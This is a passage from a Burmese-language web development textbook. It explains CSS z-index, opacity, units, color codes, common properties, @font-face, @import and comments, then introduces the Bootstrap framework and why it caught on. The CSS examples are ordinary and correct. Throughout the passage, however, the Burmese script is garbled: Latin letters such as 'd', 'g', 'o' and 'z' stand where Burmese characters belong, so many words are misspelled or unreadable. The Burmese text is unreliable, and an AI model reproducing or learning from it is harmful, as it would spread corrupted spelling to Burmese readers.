dတာ့ Document Border ကdန 50px စီခွာgပတာ မဟုတ်dတာ့zဲ .box1 ရဲ့ Border ကdန 50px စီ
ခွာgပdနတာကို  dတွ့gမင်ရgခင်း  goစ်ပါတယ်။  ပုိပြပီးdတာ့  gမင်သာdစo့ုိ  ကိုယ်တိုင်  position:
relative Property ကို ထည့်ပြပီးတစ်ခါ၊ goုတ်ပြပီးတစ်ခါ စမ်းeကည့်လုိက်ပါ။ gမင်သွားပါလိမ့်မယ်။

Position အdeကာင်းdလ့လာတဲ့အခါ တွဲoက်အသုံးgပုdလ့ရှိတဲ့ Property (၂) ခရုှိပါdသးတယ်။ z-index
နဲ့ opacity တို့ goစ်ပါတယ်။ ဒီနမူနာdလးကို ထပ်eကည့်dပးပါ။
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နမူနာမှာ .box1 dရာ .box2 ပါ position: absolute goစ်ပါတယ်။ တည်dနရာမတိမ်းမယိမ်းမ့ုိ
လ့ုိ တစ်ခုနဲ့တစ်ခု ထပ်dနပါတယ်။ .box1 အတွက် z-index: 2 လ့ုိdပးထားတဲ့အတွက် .box1 ကို
အdပါ်ကထပ်ပြပီး gမင်ရမှာgoစ်ပါတယ်။ ကိုယ်တိုင်လက်dတွ့ စမ်းeကည့်ပါ။  z-index ပါရင်တစ်မျ ို း၊ မပါ
ရင်တစ်မျ ို း  စမ်းeကည့်လုိက်ပါ။  z-index ရဲ့  အလုပ်လုပ်ပံုက ရိုးရိုးdလးပါ။  Element  dတွထပ်လာတဲ့
အခါ z-index တန်oုိး gမင့်တဲ့သူကို အdပါ်ကထပ်ပြပီး gပdပးမှာ goစ်ပါတယ်။ opacity dတာ့ နမူနာမှာ
gမင်dတွ့dနရတဲ့အတိုင်းပါပဲ။ Element ရဲ့ Transparency Level ကို ညိှo့ုိ သံုးနိုင်ပါတယ်။ Value 0 ဆိုရင်
မိှန်လွန်းလ့ုိ  လံုးဝdပျာက်သွားပါလိမ့်မယ်။  Value  1 ဆိရုင်  ထင်ရှားလွန်းလ့ုိ  မူရင်းအတိုင်း  gမင်ရပါလိမ့်
မယ်။  0 နဲ့  1 eကားထဲမှာ  ကိုယ်လုိသdလာက်တန်oုိးကို  dပးထားgခင်းအားgoင့်  ထွင်းdoာက်gမင်ရတဲ့
Element dတွကို ရရိှမှာ goစ်ပါတယ်။

ဒီdလာက်ဆိုရင်  CSS  နဲ့ပက်သက်ပြပီး  သိသင့်တဲ့  သdzာသzာဝdတွ  အdတာ်စုံdနပါပြပီ။  Selector,
Display Type, Box Model နဲ့  Position တို့ကို dလ့လာခဲ့gခင်းgoစ်ပါတယ်။ Property dတွ Value dတွက
dလ့လာရတာ မခက်ပါzူး။ အကုန်အလွတ် မှတ်ထားစရာလည်း မလိုပါzူး။ လုိdတာ့မှ gပန်eကည့်ပြပီးdရး
သွားလို့  ရပါတယ်။ အခုdoာ်gပခဲ့တဲ့  သdzာသzာဝdတွကို  dကာင်းdကာင်းနားလည်o့ုိက ပုိအdရးကြကီးပါ
တယ်။ ဒါdတွနားလည်မှသာ CSS ကို ကျွမ်းကျင်ပုိင်နိုင်စွာ အသံုးချနိုင်မှာပါ။
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CSS Unit
CSS  နဲ့  Element  dတရွဲ့  အရွယ်အစားတို့  oွန့်အရွယ်အစားတို့လုိ  အရွယ်အစားdတွ သတ်မှတ်တဲ့အခါမှာ
သံုးရတဲ့ Unit dတရွှိပါတယ်။ အ့ဲဒီထဲက dရွးချယ်သတိgပုသင့်တာdတကွdတာ့ -

• px
• %
• em
• rem
• fr

- တို့goစ်ပါတယ်။ px ကို Fixed Unit dခါ်ပါတယ်။ အရွယ်အစားကို အတိအကျပုံdသ သတ်မှတ်လုိက်တာ
ပါ။ တစ်လက်မလ့ုိ dgပာလုိက်ရင် zယ်dလာက်အရွယ်အစားလဲ မျက်စိထဲ တန်းgမင်သလုိပဲ 12px လ့ုိdgပာ
လုိက်ရင်  zယ်dလာက်အရွယ်အစားလဲဆိုတာ  မျက်စိထဲမှာ  gမင်eကdလ့ရှိပါတယ်။  အားလုံးနဲ့  ရင်းနှီးပြပီး
သား Unit ပါ။

10px 12px 16px 21px 26px 32px 40px
အရွယ်အစားdတွ သတ်မှတ်oို့ Unit dတွdရးတဲ့အခါ တန်oုိးနဲ့ ကပ်dရးရပါတယ်။ ခွာdရးလ့ုိမရပါzူး။ % နဲ့
em ကိုdတာ့  Relative  Unit  လ့ုိdခါ်ပါတယ်။  200% ဆိရုင်  နှစ်ဆဆိုတဲ့  အဓိပ္ပါယ်ပါ။  ဒါdeကာင့်မူလ
အရွယ်အစားရဲ့နှစ်ဆ အရွယ်အစားကို ရရှိမှာပါ။ Browser dတရွဲ့  Default Font Size က အများအားgoင့်
16px goစ်တယ်လို့ မှတ်နိုင်ပါတယ်။ ဒါdeကာင့်  Element  တစ်ခုအတွက်  font-size: 200% လ့ုိdgပာ
ရင် နှစ်ဆgoစ်တဲ့အတွက်  32px အရွယ်အစားကို  ရရှိမှာgoစ်ပါတယ်။  1em ဆိုရင် စာလံုးတစ်လံုးစာဆိုတဲ့
အဓိပ္ပါယ်ပါ။ ဒါdeကာင့် font-size: 2em လ့ုိdgပာလုိက်ရင် နှစ်လံုးစာလ့ုိ dgပာလုိက်တဲ့ သdzာgoစ်လ့ုိ
font-size: 200% နဲ့ အတူတူပဲလ့ုိ dgပာမယ်ဆိုရင် dgပာလ့ုိရပါတယ်။

ဒါdပမယ့်  width, height လုိဟာမျ ို းမှာdတာ့ ကွဲလဲွမှုရှိပါတယ်။  width: 100% ဆိုရင် အကျယ်
dနရာ ရိှသdလာက် အgပည့်ယူမယ်လို့  dgပာလုိက်တာပါ။  width: 100em ဆိရုင် စာလံုး အလံုး(၁၀၀)
စာ dနရာအကျယ်ယူမယ်လ့ုိ dgပာတာgoစ်သွားလ့ုိ သdzာသzာဝမတူdတာ့ပါzူး။ ဒီ px, % နဲ့  em တို့



PWD 2022 – အခန်း (၂) - CSS 75

ဟာ အသုံးအများဆုံး  Unit  dတွပါ။  rem နဲ့  fr တိုက့dတာ့  dနာက်မှထပ်တိုးလာတဲ့  Unit  dတွgoစ်ပြပီး
တစ်goည်းgoည်း အသံုးတွင်ကျယ်လာdနdပမယ့် ဒီအဆင့်မှာ လုိတာထက် ပုိရှုပ်သွားမှာစိုးလို့  ချန်ထားခဲ့ပါ
မယ်။ ထံုးစံအတိုင်း ဆက်လက်dလ့လာသင့်တဲ့ အရာdတွမှန်းသိdအာင် ထည့်dgပာခဲ့တဲ့ သdzာပါ။

CSS Color
CSS မှာ အdရာင်တန်oုိး အမျ ို းမျ ို းရှိeကပါတယ်။ အသံုးများeကတာdတွကdတာ့ Color Name, RGB, Hex
နဲ့  RGBA  တို့goစ်ပါတယ်။  Color  Name  dတွကိdုတာ့  ကုဒ်dတွစမ်းdရးတဲ့အခါ  အgမန်dရးထည့်လ့ုိရတဲ့
အတွက် အသံုးဝင်dပမယ့်၊ လက်dတွ့အသုံး နည်းပါတယ်။ သံုးလ့ုိရတဲ့  Color Name  စာရင်း အgပည့်အစုံ
ကို ဒီမှာeကည့်လို့ရပါတယ်။

- https://developer.mozilla.org/en-US/docs/Web/CSS/color_value

မှတ်ရလွယ်တာdလးတစ်ချ ို ့ dရွးမှတ်ချင်ရင် ဒီ Color Name dတွကို မှတ်ထားလ့ုိရပါတယ်။

black, white, gray, silver, red, green, lime, blue, navy, cyan,
yellow, gold, purple, orange, brown, pink, violet

အ့ဲဒါကိုမှ  lightblue, darkblue စသgoင့်  dရှ့က  light တို့  dark တို့နဲ့  တွဲစမ်းeကည့်နိုင်ပါ
တယ်။ အdရာင် အားလုံးအတွက် light, dark မူကွဲdတွ မရှိdပမယ့် အများအားgoင့် ရိှeကပါတယ်။ ဒီ
dလာက်ဆိုရင်ကိုပဲ Color Name dတွ dတာ်dတာ်သံုးလို့ရdနပါပြပီ။

Color Code dတွထဲက RGB ရဲ့ dရးထံုးနဲ့ Hex ရဲ့dရးထုံးက ဒီလုိပါ။

 CSS 
p {
    color: rgb(21, 179, 201);
    background: #C0EEF5;
    border: 5px solid #55E;
}

https://developer.mozilla.org/en-US/docs/Web/CSS/color_value
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color Property အတွက် rgb() ကိုသုံးထားပါတယ်။ dရးထုံးအရ rgb ရဲ့dနာက်က ကွင်းစကွင်းပိတ်
ထဲမှာ အdရာင်ကုဒ် (၃) ခုကို Comma ခံပြပီးdပးရတာပါ။ dရှ့ဆုံးက အနီdရာင်အတွက်၊ အလယ်က အစိမ်း
dရာင်အတွက်၊  dနာက်ဆုံးက  အgပာdရာင်အတွက်  goစ်ပါတယ်။  တန်oုိးdတွမှာ  အနိမ့်ဆုံးက  0 goစ်ပြပီး
အgမင့်ဆုံးက  255 goစ်ပါတယ်။ ဒါdeကာင့်  rgb(255, 0, 0) ဆိရုင်  အနီdရာင်ကို  ရပါတယ်။ အနီ
တန်oုိး  အgမင့်ဆုံး  goစ်dနလ့ုိပါ။  နမူနာမှာdပးထားတဲ့  rgb(21, 179, 201) ကdတာ့  အgပာdရာင်
zက်ကိုပါတဲ့ စိမ်းgပာdရာင်ပါ။ အgပာdရာင်တန်oုိး အgမင့်ဆုံးgoစ်ပြပီး အစိမ်းdရာင်တန်oုိးလည်း gမင့်လ့ုိပါ။

ခန့်မှန်းလ့ုိရdအာင်  dgပာgပတာပါ။  လက်dတွ့မှာ  zယ်ကုဒ်ဆိုရင်  zာအdရာင်လဲဆိုတာ  ကိုယ်zာသာ
တွက်dနစရာ  မလိုပါzူး။  Color  Code  ယူလ့ုိရတဲ့  နည်းပညာdတွမှ  အများကြကီးပါ။  Google  မှာ  Color
Picker လ့ုိရိုက်ရှာလုိက်ရင်dတာင် အdရာင်dရွးလ့ုိရတဲ့လုပ်dဆာင်ချက်ကို တန်းရပါတယ်။ ဒီလုိပါ -

 
ကိုယ်လုိချင်တဲ့အdရာင်ကို  dထာက်လုိက်တာနဲ့  Hex  နဲ့  RGB  သာမက တgခား  Color Code  အမျ ို းအစား
dတွကိုပါ  ရရိှမှာgoစ်ပါတယ်။  Hex  Code  dတွကိုdတာ့  dရှ့ ဆုံးက  # သdက[တdလးနဲ့စပြပီး  dရးdပးရပါ
တယ်။  သ့ူမှာလည်း  (၃)  ပုိင်းပါတာပါပဲ။  အနိမ့်ဆုံးက  00 goစ်ပြပီး  အgမင့်ဆုံးက  FF goစ်ပါတယ်။
Hexadecimal Number System ကိုသံုးလ့ုိ အgမင့်ဆုံးက FF goစ်dနတာပါ။ ဒီdနရာမှာ eကားgoတ်ပြပီးdတာ့
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Hexadecimal  အdeကာင်း  မdgပာdတာ့ပါzူး။  အနိမ့်ဆုံးက  00 goစ်ပြပီး  အgမင့်ဆုံး  FF goစ်တယ်လို့သာ
မှတ်ထားပါ။ ဒါdeကာင့် #FF0000 ဆိရုင် အနdီရာင်ရပါတယ်။ dရှ့ ဆုံးက အနီတန်oုိးအgမင့်ဆုံး goစ်dနလ့ုိ
ပါ။ အတိုdကာကd်ရးမယ်ဆိုရင် တန်oုိး စုစုdပါင်း (၆) လံုးမဟုတ်zဲ (၃) လံုးပဲdပးလုိ့ရပါတယ်။ #F00 ဆို
ရင် #FF0000 နဲ့အတတူူပါပဲ။

RGBA Color  ကdတာ့  RGB  ကိုdနာက်ဆုံးကdန  Alpha Transparency  ပါသွားတာပါ။  RGB  dရးသလုိပဲ
dရးရပါတယ်။ ဒီလုိပါ။

 CSS 
p {
    background: rgba(255, 0, 0, 0.5);
}

dနာက်ဆုံးက 0.5 ကdတာ့  Color  ရဲ့  Transparency Level  goစ်ပြပီးdတာ့  0.5 လ့ုိdgပာထားတဲ့အတွက်
တစ်ဝက်တစ်ပျက် ထွင်းdoာက်gမင်ရတဲ့ အdရာင်ကိုရရှိမှာပဲgoစ်ပါတယ်။

CSS Properties
dရှ့ ပုိင်းမှာ နမူနာ  Property  dတွကို လုိအပ်သလုိ ထည့်သွင်းdoာ်gပခဲ့dပမယ့် ကျန်dနတာdတွလည်း ရှိပါ
dသးတယ်။ အ့ဲဒီထဲက အdgခခံကျပြပီး အသံုးများတဲ့  Property  dတွကို  စုစည်းပြပီးdတာ့ ဆက်လက်doာ်gပ
dပးပါမယ်။

background – background က dရှ့နမူနာdတွမှာ ပါခဲ့ပြပီးသားပါ။ ဒါdပမယ့် Color သတ်မှတ်ပံုပဲ ပါ
ခဲ့တာပါ။ Image dတွကိုလည်း Background အdနနဲ့ သံုးချင်ရင်သံုးလ့ုိရပါတယ်။ ဒီလုိပါ -

 CSS 
background: url(image/path);

url() နဲ့  သံုးချင်တဲ့  Image  ရဲ့တည်dနရာကို  dပးရgခင်းgoစ်ပါတယ်။  url() အစား  linear-
gradient() ကိုလည်းသံုးနိုင်ပါတယ်။ နှစd်ရာင်စပ်ထားတဲ့ dရာင်dgပးကိုရပါလိမ့်မယ်။ ဒီလုိပါ -
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 CSS 
background: linear-gradient(45deg, blue, green);

45deg dနရာမှာ  90deg, -45deg စသgoင့်  ကိုယ့်စိတ်တိုင်းက  ဒီZရီdgပာင်းdပးလ့ုိရပါတယ်။  သ့ူ
dနာက်မှာ တွဲစပ်ချင်တဲ့ အdရာင်နှစ်dရာင် လုိက်ရတာပါ။ ဒီတိုင်းdgပာdနရတာ သိပ်မgမင်ရင် Codepen ထဲ
မှာ ဒါdလး လက်dတွ့dရးပြပီး စမ်းeကည့်လုိက်ပါ။

 HTML 
<div class="box"></div>

 CSS 
div {
  width: 600px;
  height: 400px;
  background: linear-gradient(45deg, cyan, green);
  border-radius: 20px;
}

ကိုယ့်စိတ်ကူး dကာင်းရင် dကာင်းသလုိ တွဲစပ်အdရာင်doာ်လုိ့ရတဲ့အတွက် dတာ်dတာ်အသံုးဝင်တယ် ဆို
တာကိdုတွ့ရပါလိမ့်မယ်။

border-radius –  နမူနာdတွမှာ eကည့်လုိက်ရင်  Block dတွအကုန်လံုးက dလးdထာင့်စပ်စပ်dတွဆို
တာကို dတွ့ရနိုင်ပါတယ်။ အ့ဲဒီလုိdလးdထာင့်စပ်စပ်မဟုတ်zဲ dထာင့်ချ ို းdလးdတွကို dကွးပြပီးdတာ့gပdစ
ချင်ရင်  border-radius  ကိုသံုးနိုင်ပါတယ်။  အdပါ်ကနမူနာမှာ  ထည့်သံုးgပထားခဲ့ပါတယ်။  စမ်းeကည့်ပါ။
Element ရဲ့ width, height နဲ့ border-radius ကို တူdအာင်dပးလုိက်ရင် dလးdထာင့် မဟုတ်
dတာ့zဲ စက်ဝုိင်းပံုစံdoာ်gပတဲ့ Element ကိရုပါလိမ့်မယ်။ ဒါလည်းပဲ လက်dတွ့စမ်းeကည့်သင့်ပါတယ်။

cursor – Mouse Pointer ရဲ့အသွင်အgပင်ကို cursor Property နဲ့ dgပာင်းနိုင်ပါတယ်။ Value အdနနဲ့
pointer, wait, crosshair, text, move စသgoင့်အမျ ို းမျ ို းdပးလ့ုိရပါတယ်။ pointer
ဆိရုင် လက်ညှိုးdလးdထာက်ထားတဲ့ပံု၊  wait ဆိုရင်  Hourglass  ပံု၊  move ဆိရုင် dလးzက်dလးတန်
မျှားgပထားတဲ့ပံု စသgoင့် ရနိုင်ပါတယ်။
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font-family – စာdတွdoာ်gပတဲ့အခါ အသံုးgပုdoာ်gပdစလုိတဲ့oွန့်ကို သတ်မှတ်dပးo့ုိအတွက် သံုးရတဲ့
Property goစ်ပါတယ်။

 CSS 
font-family: roboto, helvetica, arial, sans-serif;

နမူနာအရ  roboto oွန့်ကိုသံုးပြပီး  စာdတွကိုgပdစချင်တဲ့သdzာပါ။  အကယ်၍  User  ရဲ့  Device  မှာ
roboto oွန့်မရှိရင်  helvetica ကို  သံုးdပးပါ၊ မရှိရင်  arial ကိုသုံးdပးပါ၊ မရှရိင်  sans-serif
ကို သံုးdပးပါလ့ုိ အဆင့်ဆင့် သတ်မှတ်dပးထားလုိက်တာပါ။

@font-face –  User  ရဲ့  Device  မှာ  oွန့်မရှိလ့ုိ  doာ်gပdစလုိတဲ့ပံုစံ  မdပါ်zူးဆိုတာမျ ို း  မgoစ်dစo့ုိ
အတွက်  ဒီသတ်မှတ်ချက်နဲ့  oွန့်oိုင်ကို  ချတိ်ထားdပးလ့ုိရပါတယ်။  Property  dတွeကားထဲမှာ  ထည့်
dgပာထားdပမယ့် ဒါက Property မဟုတ်ပါzူး။ ဒီလုိdရးရပါတယ်။

@font-face {
    font-family: roboto;
    src: url(path/to/roboto.font);
}

နမူနာအရ roboto oွန့်oိုင်ရဲ့တည်dနရာကို  url() နဲ့dပးထားပါတယ်။ ဒါdeကာင့်  Download လုပ်ပြပီး
သံုးdပးသွားမှာgoစ်လ့ုိ User ရဲ့  Device ထဲမှာ အ့ဲဒီoွန့် ရိှရှိ မရှရိှိ အဆင်dgပသွားမှာ goစ်ပါတယ်။ ဒီကုဒ်က
dရးထံုးကို  နမူနာgပတာပါ။  ဒီအတိုင်းdရးလ့ုိ  မgပည့်စုံdသးပါzူး။  လက်dတွ့မှာ  oွန့်oုိင်တစ်ခု  မှန်မှန်ကန်
ကန် အလုပ်လုပ်o့ုိဆိုရင်  Format  မှန်o့ုိလည်း လုိပါdသးတယ်။  .ttf, .otf, .woff, .eot စ
သgoင့်  oွန့်  Format  အမျ ို းမျ ို းရှိပါတယ်။  ဒါdeကာင့်  dရးထံုးကိုပဲ  မှတ်ထားပါ။  တစ်ကယ် အလုပ်လုပ်o့ုိ
အတွက်dတာ့ ကိုယ်တိုင်dရးစရာမလုိပါzူး။ Google Fonts လုိdနရာမျ ို းကdန သွားယူလုိက်ရင်ရပါတယ်။
နည်းနည်းဆက်dလ့လာeကည့်လုိက်ပါ။ သိပ်မခက်ပါzူး။

- https://fonts.google.com/

https://fonts.google.com/
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@import –  ဒါလည်းပဲ လုိအပ်လ့ုိ ထည့်dgပာတာပါ။  Property  dတာ့ မဟုတ်ပါzူး။  HTML Document
ကdန CSS oုိင်ကို  <link> Element သံုးပြပီးချတိ်ရပါတယ်။ CSS oုိင်ကdန အgခား CSS oုိင်ကို ချတိ်ချင်
ရင်dတာ့ @import ကို သံုးပြပီးချတိ်လ့ုိရပါတယ်။ ဒီလုိပါ -

@import url(path/to/css.file)

ချတိ်ချင်တဲ့ CSS oုိင်ရဲ့ တည်dနရာကို url() သံုးပြပီးချတိ်ရတာပါ။

list-style – <ul> dတွ <ol> dတွမှာdoာ်gပတဲ့  Bullet dတွ Number dတွကို  list-style နဲ့
dgပာင်းလ့ုိရပါတယ်။ ဒီလုိပါ -

 CSS 
ul {
    list-style: square;
}

Bullet Value အdနနဲ့ square, circle, disc တို့ကို အသံုးများပါတယ်။ Number Value အdနနဲ့
lower-alpha, upper-alpha, lower-roman, upper-roman တို့ကိုအသံုးများပါတယ်။

text-align – စာdတွကို left, right, center, justify စသgoင့် Value dတွနဲ့  လုိသလုိ
စီပြပီးgပလ့ုိ ရပါတယ်။ 

 CSS 
p {
    text-align: center;
}

text-decoration –  စာdတွကို  Underline  တားo့ုိ  (သ့ုိမဟုတ်)  oျက်ထားသကဲ့သ့ုိ  ကန့်လတ်goတ်
လုိင်းထည့်o့ုိ သံုးပါတယ်။ Underline dတွ၊ လုိင်းgoတ်dတွ gပန်goုတ်ချင်ရင်လည်း သံုးလ့ုိရပါတယ်။
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 CSS 
a {
    text-decoration: none;
}

နမူနာအရ  <a> Element  ရဲ့  Underline  ကိုgoုတ်လုိက်တာပါ။  Underline  ထည့်ချင်ရင်  underline
Value ကိုသုံးနိုင်ပြပီး လုိင်းgoတ်ထည့်ချင်ရင် line-through Value ကိုသုံးနိုင်ပါတယ်။

line-height,  letter-spacing,  word-spacing –  စာdeကာင်းတစ်deကာင်းနဲ့  တစ်
deကာင်းeကား အကွာအdဝး၊ စာလံုးတစ်လံုးနဲ့တစ်လံုးeကားက အကွာအdဝးသတ်မှတ်o့ုိနဲ့  Word  တစ်ခုနဲ့
တစ်ခုeကား အကွာအdဝးသတ်မှတ်oို့အတွက် သုံးနိုင်ပါတယ်။

 CSS 
p {
   line-height: 2em;
   letter-spacing: 2px;
   word-spacing: 5px;
}

နမူနာအရ line-height ကို 2em လ့ုိdgပာထားတဲ့အတွက် စာdeကာင်းdတွကို နှစ်ဆခွာပြပီးgပdပးမှာပါ။
လုိင်းdတွ အရမ်းကျဲသွားပါလိမ့်မယ်၊ စာdတွoတ်လ့ုိ သိပ်dကာင်းမှာမဟုတ်ပါzူး။ နမူနာအdနနဲ့ dပးထား
တာပါ။  အ့ဲဒီလုိ  line-height မထည့်zဲ  သ့ူ  Default  အတိုင်းကလည်း  သိပ်အဆင်မdgပပါzူး။
စာdeကာင်းdတွ တစ်deကာင်းနဲ့တစ်deကာင်း ကပ်လွန်းပါတယ်။ အZ[လိပ်စာdတွအတွက် အသင့်dတာ်ဆုံး
လ့ုိ dgပာလ့ုိရတဲ့  line-height ပမာဏနေကdတာ့  1.5em goစ်ပါတယ်။ gမန်မာစာdတွအတွက်ကdတာ့
သံုးထားတဲ့  oွန့်dပါ်မူတည်လ့ုိ oတ်လ့ုိdကာင်းdလာက်မယ့် အကွာအdဝးပမာဏနေကို  အမျ ို းမျ ို းdgပာင်းစမ်း
ပြပီး သင့်dတာ်တဲ့ပမာဏနေကို သတ်မှတ်dပးo့ုိ လုိပါလိမ့်မယ်။

CSS Comments
dနာက်ဆုံးတစ်ချက်အdနနဲ့  CSS  dတွမှာ ကိုယ်zာသာdရးမှတ်ချင်တာdတွရှိရင်  /* နဲ့  */ eကားထဲမှာ
Comment  dတွကို dရးမှတ်နိုင်တယ်ဆိုတာdလး ထည့်မှတ်ပါ။ အလုပ်လုပ်တဲ့အခါ အ့ဲဒီ  Comment  dတွ
ကို ထည့်အလုပ်လုပ်မှာ မဟုတ်ပါzူး။



PWD 2022 – အခန်း (၂) - CSS 82

 CSS 
/* Some CSS Comments */
.menu {

/* Another comments */
    color: white;
    background: purple; /* Some more comments */
}

တစ်ကယ်dတာ့  CSS ဟာ အရမ်းကြကီးမခက်dပမယ့် သ့ူဟာနဲ့သူ dတာ်dတာ်dလး ကျယ်gပန့်တဲ့zာသာရပ်
တစ်ခုပါ။  Text  Effect  dတွ  Image  Effect  dတွလည်း  အများကြကီးရှိပါdသးတယ်။  စdကးချုံ့ချဲ့နဲ့  3D
အသွင်အgပင်လုိ  ကိစ္စမျ ို းdတွထိ  CSS  နဲ့စီမံလို့ရပါတယ်။  Animation  dတွလည်း oန်တီးအသံုးချလ့ုိ  ရပါ
တယ်။  Grid Layout  dတွoန်တီးလို့  ရပါတယ်။ အခုdoာ်gပခဲ့တဲ့  အdgခခံdတွကိုသာ dသချာရdအာင်လုပ်
ထားပါ။ အချနိ်တန်လ့ုိ ဆက်dလ့လာတဲ့အခါ အဆင်dgပသွားပါလိမ့်မယ်။

တစ်ကယ်dတာ့ Style dတွ အကုန်လံုးကို ကိုယ်တိုင်လုပ်စရာdတာ့ မလုိပါzူး။ ဒီအပုိင်းရဲ့ ရည်ရွယ်ချက်ကို
က Bootstrap လုိနည်းပညာမျ ို းကdပးတဲ့ အသင့်သံုးလို့ရတဲ့ လုပ်dဆာင်ချက်dတွကို သံုးတတ်dစo့ုိ goစ်ပါ
တယ်။ ဒါdပမယ့် အသင့်သံုးလ့ုိရတာပဲ သုံးတတ်ပြပီး ကိုယ့်zာသာ မလုပ်တတ်dတာz့ူးဆိုရင် dရရှည်မှာ
အဆင်dgပမှာမဟုတ်လ့ုိ  အခုလုိသိသင့်တဲ့  အdgခခံdတွကို  deကညက်dအာင်  အရင်dgပာdနgခင်း  goစ်ပါ
တယ်။ ဆက်လက်ပြပီးdတာ့ Bootstrap အdeကာင်းကို doာ်gပပါdတာ့မယ်။



အပိမေုင်း (၂)
Bootstrap
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အခန်း (၃) – Bootstrap Intro

Bootstrap CSS Framework  ဟာ  Web Design  နဲ့  Web Development  dလာကကို  ကိုင်လှုပ်ပြပီး တစ်
dခတ်ဆန်းသွားdစခဲ့တဲ့  နည်းပညာတစ်ခုပါ။  Bootstrap  မတိုင်ခင်က  Web  Designer  dတွ  Web
Developer dတဟွာ HTML, CSS, JavaScript dတွကို ကိုယ်တိုင် ချdရးပြပီးdတာ့ ကိုယ့်စိတ်ကူးဉာဏ်နေရှိရင်
ရိှသလုိ ဝz်ဆိုက်dတွကို  oန်တီးခဲ့eကပါတယ်။  Bootstrap  ထွက်dပါ်လာပြပီး  dနာက်မှာdတာ့  ကိုယ်တိုင်
အကုန်လုပ်စရာ  မလုိdတာ့zဲ  Bootstrap  က  dပးထားတဲ့  အသင့်သံုး  Components  နဲ့  Layouts
လုပ်dဆာင်ချက်dတွကို  အသံုးချပြပီးdတာ့ oန်တီးနိုင်လာeကပါတယ်။ ကိုယ့်စိတ်ကူးဉာဏ်နေနဲ့  တီထွင်ချင်ရင်
လည်း လံုးဝကွဲgပား ဆန်းgပားတဲ့ oန်တီးမှုdတွထက် Bootstrap ကို အdgခgပုထားတဲ့ oန်တီးမှုdတွကို ပုိပြပီး
dတာ့ လုပ်လာeကပါတယ်။

Web Developer တစ်ဦးအdနနဲ့ Bootstrap dပါ်ခါစက မကြကိုက်ပါzူး။ zာgoစ်လုိ့လဲဆိုdတာ့ ဒီလုိပါ။

တgခား Software အမျ ို းအစားdတွနဲ့ယှဉရ်င် Web ရဲ့ အားသာချက်ကdတာ့ HTML, CSS, JavaScript ရဲ့
အကူအညီနဲ့ အကန့်အသတ်dzာင် dတာ်dတာ်နည်းပြပီး စတိ်ကူးဉာဏ်နေရှရိင်ရှိသdလာက် ထူးgခားဆန်းgပား
တဲ့ User Interface dတွoန်တီးနိုင်gခင်းပဲ goစ်ပါတယ်။ ၂၀၀၅-၂၀၁၀ eကားကာလဟာ Web ရဲ့ dရ¢dခတ်ပါ
ပဲ။  Web Designer  dတွ  Web Developer  dတွ အပြပိုင်အဆိုင် လက်စွမ်းdတွgပပြပီး တီထွင်လုိက်eကတာမှ
အပြပိုင်အဆိုင်ပါပဲ။  ဒါdပမယ့်  အ့ဲဒီအားသာချက်ကပဲ  Web  ရဲ့  အားနည်းချက်လည်း  goစ်dနgပန်ပါတယ်။
စိတ်ကူးရှိသလုိ oန်တီးလ့ုိရတာ မှန်dပမယ့်၊ အကုန်ကိုယ့်zာသာ oန်တီးdနရပါတယ်။ ထပ်ခါထပ်ခါ gပန်
ပြပီးdတာ့ oန်တီးရပါတယ်။ တစ်dယာက်ကို တစ်မျ ို းစီ ထွင်eကdတာ့၊ သံုးတဲ့ User က၊ ဟိုdနရာမှာတစ်မျ ို း၊
ဒီdနရာမှာတစ်မျ ို း၊ မျက်စိdတွ လည်eကပါတယ်။

Bootstrap  dပါ်လာတဲ့အခါ သ့ူမှာ  User Interface  dတွတည်dဆာက်o့ုိ  အသင့်သံုးနိုင်တဲ့  Layouts  dတွ
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Components dတွ ပါဝင်လာပါတယ်။ dတာ်dတာ်dလး အဆင်dgပတဲ့အတွက် အချနိ်တိုအတွင်း လူကြကိုက်
များပြပီး လူသံုးများသွားပါတယ်။ ဒီdတာ့ ဟိုဝz်ဆိုက် eကည့်လိုက်လဲ ဒီပံုစံ၊ ဒီဝz်ဆိုက် eကည့်လုိက်လဲ ဒီ
ပံုစံ၊  ပံုစံတူdတွ  များလာdတာ့တာပါပဲ။  အ့ဲဒါကို  မကြကိုက်ခဲ့တာပါ။  မူလ  Web နည်းပညာရဲ့  လွပ်လွပ်လပ်
လပ် oန်တီးတဲ့အdလ့အကျင့်dတွ တစ်goည်းgoည်း နည်းပါးdပျာက်ကွယ်သွားပြပီလ့ုိ gမင်ခဲ့တာပါ။

အချနိ်ကာလတစ်ခု  dရာက်လာdတာ့မှ  အ့ဲဒါကသာလျှင်  ပုိdကာင်းတဲ့နည်းဆိုတာကို  သိလာခဲ့ရတာပါ။
အသံုးgပုသူ  User  က ရှုချင်စoွယ်၊ သံုးချင်စoွယ်goစ်တာကို  လုိချင်dပမယ့် အလွန်အမင်း ဆန်းgပားတာကို
dတာ့မလုိချင်ပါzူး။  Consistence  goစ်တာကို  လုိချင်တာပါ။  သံုးရလွယ်ကူတာကို  လုိချင်တာပါ။
Bootstrap  ထွက်dပါ်လာပြပီးdနာက်မှာdတာ့  Menu  ရဲ့oဲွ့စည်းပံု၊ ပါဝင်တဲ့  Component  dတရွဲ့ oဲွ့စည်းပံု၊
Layout ရဲ့oဲွ့စည်းပံု၊ ဒါdတွဟာ ခပ်ဆင်ဆင်dတွ goစ်လာdတာ့ User အတွက်က dတာ်dတာ် အဆင်dgပပါ
တယ်။ zယ်သွားသွား အdရာင်အdသွးနဲ့ oဲွ့စည်းပံုသာ ကွဲgပားသွားမယ်၊ အသံုးgပုနည်းက အသစ်အဆန်း
မဟုတ်dတာz့ဲ သိရှိကျွမ်းဝင်ပြပီး goစ်တဲ့ ပံုစံကိုသာ ရရှိမှာgoစ်ပါတယ်။

ဒီသdzာသzာဝdeကာင့်ပဲ  Bootstrap  ဟာ  လက်ရှိမှာလူသံုးအများဆုံး  နည်းပညာတစ်ခုgoစ်dနတာပါ။
Bootstrap နဲ့ အပြပိုင် Foundation လုိ အလားတူ နည်းပညာdတွ ရှိdသးdပမယ့် Bootstrap ကသာလျှင်
အဓိကနည်းပညာ  goစ်လာခဲ့ပါတယ်။  အခုdနာက်ပုိင်းမှာ  Bootstrap  နဲ့  ရည်ရွယ်ချက်တူdပမယ့်
သdzာသzာချင်း  မတူdတာ့တဲ့  Tailwind  လ့ုိdခါ်တဲ့  နည်းပညာတစ်ခု  dခတ်စားစ  gပုdနပါတယ်။
Bootstrap  ကို  dကျာ်goတ်ပြပီး  အဓိကနည်းပညာdနရာကို  ယူသွားမလားဆိုတာdတာ့  dgပာoုိ့dစာပါdသး
တယ်။ dစာင့်eကည့်eကရဦးမှာပါ။

